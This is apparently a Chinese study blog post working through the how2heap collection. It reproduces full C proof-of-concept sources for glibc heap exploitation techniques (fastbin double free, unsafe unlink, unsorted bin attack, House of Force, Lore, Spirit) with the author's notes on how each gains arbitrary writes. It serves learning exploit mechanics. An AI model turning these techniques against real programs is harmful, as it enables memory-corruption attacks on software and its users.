今天,讓我們來總結下how2heap,之前粗略過了一下,但最近發現還是有很多細節不太清楚,於是現在回頭來重新調試下how2heap。
就按順序來吧。
0x01 fastbin_dup:
源碼:
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main() 5 { 6 fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n"); 7 8 fprintf(stderr, "Allocating 3 buffers.\n"); 9 int *a = malloc(8); 10 int *b = malloc(8); 11 int *c = malloc(8); 12 13 fprintf(stderr, "1st malloc(8): %p\n", a); 14 fprintf(stderr, "2nd malloc(8): %p\n", b); 15 fprintf(stderr, "3rd malloc(8): %p\n", c); 16 17 fprintf(stderr, "Freeing the first one...\n"); 18 free(a); 19 20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 21 // free(a); 22 23 fprintf(stderr, "So, instead, we'll free %p.\n", b); 24 free(b); 25 26 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 27 free(a); 28 29 fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 30 fprintf(stderr, "1st malloc(8): %p\n", malloc(8)); 31 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); 32 fprintf(stderr, "3rd malloc(8): %p\n", malloc(8)); 33 }
接下來我們來運行下這個程序:
可以發現這是一個double free的分析,這個是fastbin內存分配的分析,fastbin是先入后出,free1 —— free2 —— free1,這樣在使用的時候就是malloc1 —— malloc2 —— malloc1 — — malloc2 —— malloc1……循環下去,可以再分配試一試。
0x02 fastbin_dup_into_stack:
源碼:
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main() 5 { 6 fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" 7 "returning a pointer to a controlled location (in this case, the stack).\n"); 8 9 unsigned long long stack_var; 10 11 fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var); 12 13 fprintf(stderr, "Allocating 3 buffers.\n"); 14 int *a = malloc(8); 15 int *b = malloc(8); 16 int *c = malloc(8); 17 18 fprintf(stderr, "1st malloc(8): %p\n", a); 19 fprintf(stderr, "2nd malloc(8): %p\n", b); 20 fprintf(stderr, "3rd malloc(8): %p\n", c); 21 22 fprintf(stderr, "Freeing the first one...\n"); 23 free(a); 24 25 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 26 // free(a); 27 28 fprintf(stderr, "So, instead, we'll free %p.\n", b); 29 free(b); 30 31 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 32 free(a); 33 34 fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 35 "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 36 unsigned long long *d = malloc(8); 37 38 fprintf(stderr, "1st malloc(8): %p\n", d); 39 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); 40 fprintf(stderr, "Now the free list has [ %p ].\n", a); 41 fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 42 "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 43 "so that malloc will think there is a free chunk there and agree to\n" 44 "return a pointer to it.\n", a); 45 stack_var = 0x20; 46 47 fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 48 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 49 50 fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); 51 fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); 52 }
接下來我們來運行下這個程序:
會發現再次申請的時候就把我們偽造的棧空間當malloc來申請了,這其中的要點為將stack_var = 0x20,然后將stack_var -8 的地址賦值到*d處,也就是fastbin的fd處。再次maollc到指向stack+8的堆。
0x03 first_fit:
源碼:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int main() 6 { 7 fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"); 8 fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n"); 9 fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n"); 10 fprintf(stderr, "This can be exploited in a use-after-free situation.\n"); 11 12 fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n"); 13 char* a = malloc(512); 14 char* b = malloc(256); 15 char* c; 16 17 fprintf(stderr, "1st malloc(512): %p\n", a); 18 fprintf(stderr, "2nd malloc(256): %p\n", b); 19 fprintf(stderr, "we could continue mallocing here...\n"); 20 fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n"); 21 strcpy(a, "this is A!"); 22 fprintf(stderr, "first allocation %p points to %s\n", a, a); 23 24 fprintf(stderr, "Freeing the first one...\n"); 25 free(a); 26 27 fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a); 28 29 fprintf(stderr, "So, let's allocate 500 bytes\n"); 30 c = malloc(500); 31 fprintf(stderr, "3rd malloc(500): %p\n", c); 32 fprintf(stderr, "And put a different string here, \"this is C!\"\n"); 33 strcpy(c, "this is C!"); 34 fprintf(stderr, "3rd allocation %p points to %s\n", c, c); 35 fprintf(stderr, "first allocation %p points to %s\n", a, a); 36 fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation."); 37 }
運行下這個程序:
會發現這是一個UAF的分配原理,a被釋放之后,變成了懸垂指針,又申請了c。使a和c同時指向的同一個堆的地址空間。這時候我們就可以通過這個指針來做一些事情了。
0x04 unsafe_unlink:
源碼:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 #include <stdint.h> 5 6 7 uint64_t *chunk0_ptr; 8 9 int main() 10 { 11 fprintf(stderr, "Welcome to unsafe unlink 2.0!\n"); 12 fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n"); 13 fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); 14 fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); 15 16 int malloc_size = 0x80; //we want to be big enough not to use fastbins 17 int header_size = 2; 18 19 fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); 20 21 chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 22 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 23 fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); 24 fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); 25 26 fprintf(stderr, "We create a fake chunk inside chunk0.\n"); 27 fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); 28 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); 29 fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); 30 fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); 31 chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); 32 fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); 33 fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]); 34 35 fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n"); 36 fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n"); 37 fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n"); 38 fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n"); 39 fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n"); 40 fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n"); 41 fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n"); 42 fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n"); 43 chunk0_ptr[1] = sizeof(size_t); 44 fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]); 45 fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n"); 46 47 fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); 48 uint64_t *chunk1_hdr = chunk1_ptr - header_size; 49 fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); 50 fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); 51 chunk1_hdr[0] = malloc_size; 52 fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); 53 fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); 54 chunk1_hdr[1] &= ~1; 55 56 fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); 57 fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); 58 free(chunk1_ptr); 59 60 fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); 61 char victim_string[8]; 62 strcpy(victim_string,"Hello!~"); 63 chunk0_ptr[3] = (uint64_t) victim_string; 64 65 fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); 66 fprintf(stderr, "Original value: %s\n",victim_string); 67 chunk0_ptr[0] = 0x4141414142424242LL; 68 fprintf(stderr, "New Value: %s\n",victim_string); 69 }
運行下這個程序:
這個用到了unlink的三個大點,制造偽堆,繞過unlink的保護機制和unlink的再分配。
下面我們來詳細看下:
首先分配了兩個大小為0x80的堆空間,但是為什么顯示0x90呢?那是因為計算時候把下一個堆頭的prevsize和size也計算進來了。
然后是構造偽堆,繞過unlink的保護機制。
然后 chunk1_hdr[0] = malloc_size; 修改prevsize標記的偽堆大小。
來看看我們的偽堆,0x602070就是我們的目標哦。
然后通過更改指針,進而通過unlink來重新指向堆: chunk0_ptr[3] = (uint64_t) victim_string;
這里有兩次偽堆的數據覆蓋,先用前堆的bk覆蓋,然后用后堆的fd覆蓋,最終堆指向了我們需要的目標地址。
我們來看下unlink的源碼,就能夠明白是如何來更改其中的鏈表了:
1 /* Take a chunk off a bin list */ 2 #define unlink(AV, P, BK, FD) { \ 3 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ 4 malloc_printerr ("corrupted size vs. prev_size"); \ 5 FD = P->fd; \ 6 BK = P->bk; \ 7 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ 8 malloc_printerr ("corrupted double-linked list"); \ 9 else { \ 10 FD->bk = BK; \ 11 BK->fd = FD; \ 12 if (!in_smallbin_range (chunksize_nomask (P)) \ 13 && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ 14 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ 15 || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ 16 malloc_printerr ("corrupted double-linked list (not small)"); \ 17 if (FD->fd_nextsize == NULL) { \ 18 if (P->fd_nextsize == P) \ 19 FD->fd_nextsize = FD->bk_nextsize = FD; \ 20 else { \ 21 FD->fd_nextsize = P->fd_nextsize; \ 22 FD->bk_nextsize = P->bk_nextsize; \ 23 P->fd_nextsize->bk_nextsize = FD; \ 24 P->bk_nextsize->fd_nextsize = FD; \ 25 } \ 26 } else { \ 27 P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ 28 P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ 29 } \ 30 } \ 31 } \ 32 }
接下來就不用我說了吧,改變堆內容就改變了我們需要的目標咯。實際應用我們是否可以更改got為我們需要的地址呢?
0x05 unsorted_bin_attack:
源碼:
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main(){ 5 fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); 6 fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " 7 "global variable global_max_fast in libc for further fastbin attack\n\n"); 8 9 unsigned long stack_var=0; 10 fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); 11 fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var); 12 13 unsigned long *p=malloc(400); 14 fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); 15 fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" 16 "the first one during the free()\n\n"); 17 malloc(500); 18 19 free(p); 20 fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " 21 "point to %p\n",(void*)p[1]); 22 23 //------------VULNERABILITY----------- 24 25 p[1]=(unsigned long)(&stack_var-2); 26 fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); 27 fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]); 28 29 //------------------------------------ 30 31 malloc(400); 32 fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, target should has already been " 33 "rewrite:\n"); 34 fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); 35 }
運行這個程序:
這個unsorted bin 沒有完全看懂,看出來他是通過修改unsorted bin 中的bk為stack -16(即減去2個地址空間),這樣就讓stack的內容變成的unsorted bin的head了(leak),不知道這其中做了些什么?所以我先看unlink之后再回頭看這個。
直接看源碼吧。
1 /* remove from unsorted list */ 2 unsorted_chunks (av)->bk = bck; 3 bck->fd = unsorted_chunks (av);
這一句話本意是將unsorted chunk從unsorted bin的鏈表中unlink下來,但是如果我們可以控制bk,就可以使得bck位置可控。而bck->fd是從相對位移去找的,換句話說,只要我們將bck修改為想要修改的位置-2*指針大小就可以使得bck->fd為我們要修改的位置,進而修改任意位置。
不過因為bck->fd = unsorted_chunks(av)
這句話,而unsorted_chunks (av)
並不能控制為任意內容,所以相對自由度還是比較小的,只能使得任意位置修改為一個指針。
泄露的地址:
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
-------------------------> 0x7fffffffdde0: 0x7ffff7dd37b8
當然了,細心的人估計已經想到了,可以對這個地址進行修改的哦!
0x06 house_of_force:
源碼:
1 /* 2 3 This PoC works also with ASLR enabled. 4 It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled. 5 If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 6 ( http://phrack.org/issues/66/10.html ) 7 8 Tested in Ubuntu 14.04, 64bit. 9 10 */ 11 12 13 #include <stdio.h> 14 #include <stdint.h> 15 #include <stdlib.h> 16 #include <string.h> 17 #include <stdint.h> 18 #include <malloc.h> 19 20 char bss_var[] = "This is a string that we want to overwrite."; 21 22 int main(int argc , char* argv[]) 23 { 24 fprintf(stderr, "\nWelcome to the House of Force\n\n"); 25 fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); 26 fprintf(stderr, "The top chunk is a special chunk. Is the last in memory " 27 "and is the chunk that will be resized when malloc asks for more space from the os.\n"); 28 29 fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); 30 fprintf(stderr, "Its current value is: %s\n", bss_var); 31 32 33 34 fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n"); 35 intptr_t *p1 = malloc(256); 36 fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1); 37 38 fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); 39 int real_size = malloc_usable_size(p1); 40 fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %d.\n", real_size); 41 42 fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n"); 43 44 //----- VULNERABILITY ---- 45 intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size); 46 fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top); 47 48 fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); 49 fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)ptr_top)); 50 ptr_top[0] = -1; 51 fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)ptr_top)); 52 //------------------------ 53 54 fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" 55 "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" 56 "overflow) and will then be able to allocate a chunk right over the desired region.\n"); 57 58 unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top; 59 fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" 60 "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); 61 void *new_ptr = malloc(evil_size); 62 fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr); 63 64 void* ctr_chunk = malloc(100); 65 fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); 66 fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); 67 fprintf(stderr, "Now, we can finally overwrite that value:\n"); 68 69 fprintf(stderr, "... old string: %s\n", bss_var); 70 fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); 71 strcpy(ctr_chunk, "YEAH!!!"); 72 fprintf(stderr, "... new string: %s\n", bss_var); 73 74 75 // some further discussion: 76 //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); 77 //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size " 78 // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); 79 //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); 80 //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); 81 //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," 82 // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n"); 83 84 //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2); 85 //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address); 86 87 //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); 88 }
運行這個程序:
這個就是對Top Chunk的利用了,這里就是一個簡單的計算,首先把Top_Chunk的size設置為無限大,防止調用mmap,然后就是就是申請一個很大的空間evil_size,evil_size = bss_var - ptr_top - 2*地址(預留堆頭空間),這樣就是topchunk的地址變成了我們需要控制的區域來了,相當於把Top Chunk向地址下降了(top chunk = 0x602070),然后再malloc就能夠精確控制bss區域了。其中Top Chunk的機理,我回頭看看源碼在來看看到底是個什么東東。
0x07 house_of_lore:
源碼:
1 /* 2 Advanced exploitation of the House of Lore - Malloc Maleficarum. 3 This PoC take care also of the glibc hardening of smallbin corruption. 4 5 [ ... ] 6 7 else 8 { 9 bck = victim->bk; 10 if (__glibc_unlikely (bck->fd != victim)){ 11 12 errstr = "malloc(): smallbin double linked list corrupted"; 13 goto errout; 14 } 15 16 set_inuse_bit_at_offset (victim, nb); 17 bin->bk = bck; 18 bck->fd = bin; 19 20 [ ... ] 21 22 */ 23 24 #include <stdio.h> 25 #include <stdlib.h> 26 #include <string.h> 27 #include <stdint.h> 28 29 void jackpot(){ puts("Nice jump d00d"); exit(0); } 30 31 int main(int argc, char * argv[]){ 32 33 34 intptr_t* stack_buffer_1[4] = {0}; 35 intptr_t* stack_buffer_2[3] = {0}; 36 37 fprintf(stderr, "\nWelcome to the House of Lore\n"); 38 fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); 39 fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n"); 40 41 fprintf(stderr, "Allocating the victim chunk\n"); 42 intptr_t *victim = malloc(100); 43 fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim); 44 45 // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk 46 intptr_t *victim_chunk = victim-2; 47 48 fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); 49 fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2); 50 51 fprintf(stderr, "Create a fake chunk on the stack"); 52 fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" 53 "in second to the last malloc, which putting stack address on smallbin list\n"); 54 stack_buffer_1[0] = 0; 55 stack_buffer_1[1] = 0; 56 stack_buffer_1[2] = victim_chunk; 57 58 fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " 59 "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " 60 "chunk on stack"); 61 stack_buffer_1[3] = (intptr_t*)stack_buffer_2; 62 stack_buffer_2[2] = (intptr_t*)stack_buffer_1; 63 64 fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" 65 "the small one during the free()\n"); 66 void *p5 = malloc(1000); 67 fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5); 68 69 70 fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); 71 free((void*)victim); 72 73 fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n"); 74 fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); 75 fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); 76 77 fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); 78 fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim); 79 80 void *p2 = malloc(1200); 81 fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2); 82 83 fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); 84 fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); 85 fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); 86 87 //------------VULNERABILITY----------- 88 89 fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); 90 91 victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack 92 93 //------------------------------------ 94 95 fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); 96 fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n"); 97 98 void *p3 = malloc(100); 99 100 101 fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); 102 char *p4 = malloc(100); 103 fprintf(stderr, "p4 = malloc(100)\n"); 104 105 fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", 106 stack_buffer_2[2]); 107 108 fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack 109 intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode 110 memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary 111 }
運行這個程序:
這個程序,將victim chunk和兩個fake chunk構造成雙向鏈表,然后再smallbin分配時候,便申請了到了fake chunk。
這個關鍵是要改寫victim chunk 的bk,關鍵改寫地址: victim[1] = (intptr_t)stack_buffer_1 。然后雙向鏈表在重新分配的時候,就會分配到棧上的空間為堆。
0x08 house_of_spirit:
源碼:
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main() 5 { 6 fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); 7 8 fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); 9 malloc(1); 10 11 fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); 12 unsigned long long *a; 13 // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 14 unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); 15 16 fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]); 17 18 fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 19 fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 20 fake_chunks[1] = 0x40; // this is the size 21 22 fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 23 // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 24 fake_chunks[9] = 0x1234; // nextsize 25 26 fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 27 fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 28 a = &fake_chunks[2]; 29 30 fprintf(stderr, "Freeing the overwritten pointer.\n"); 31 free(a); 32 33 fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 34 fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); 35 }
運行這個程序:
這個一看代碼很少,程序比較簡單了,哈哈,下面我們來看看這個程序是怎么運行的:(時隔好多天)看完這個程序之后確實,很簡單,但最近卻一直沒有做,主要是最近事情比較繁雜,心態不夠沉靜。
先看看內存分布原理圖把:
注意哦,這個數組就是棧上面的內存,a指向了第一個偽堆,free(a)的時候就把Fake_chunk_1這個偽堆放入了fastbin的鏈表中,這樣的話再次分配的時候就把這一塊的內存當做是heap區域的內存分配了,
注意這里fastbin的回收內存的大小,第一個chunk的size要在fastbin的范圍內(x64機器上是 < 0x80),同時注意實際大小比可用大小多兩個單元。
關於這個技術如果要練手的話,可以去做一下 pwnable.tw 上的 spirited_away 這道題。
知識補充:
更改C編譯器的缺省字節對齊方式
在缺省情況下,C編譯器為每一個變量或是數據單元按其自然對界條件分配空間。一般地,可以通過下面的方法來改變缺省的對界條件:
· 使用偽指令#pragma pack (n),C編譯器將按照n個字節對齊。
· 使用偽指令#pragma pack (),取消自定義字節對齊方式。
另外,還有如下的一種方式:
· __attribute((aligned (n))),讓所作用的結構成員對齊在n字節自然邊界上。如果結構中有成員的長度大於n,則按照最大成員的長度來對齊。
· __attribute__ ((packed)),取消結構在編譯過程中的優化對齊,按照實際占用字節數進行對齊。
小結:
個人水平有限,只是寫了自己的理解和歸納,最后一個例程house_of_einherjar在新版glibc已經不能用了,所以不做介紹。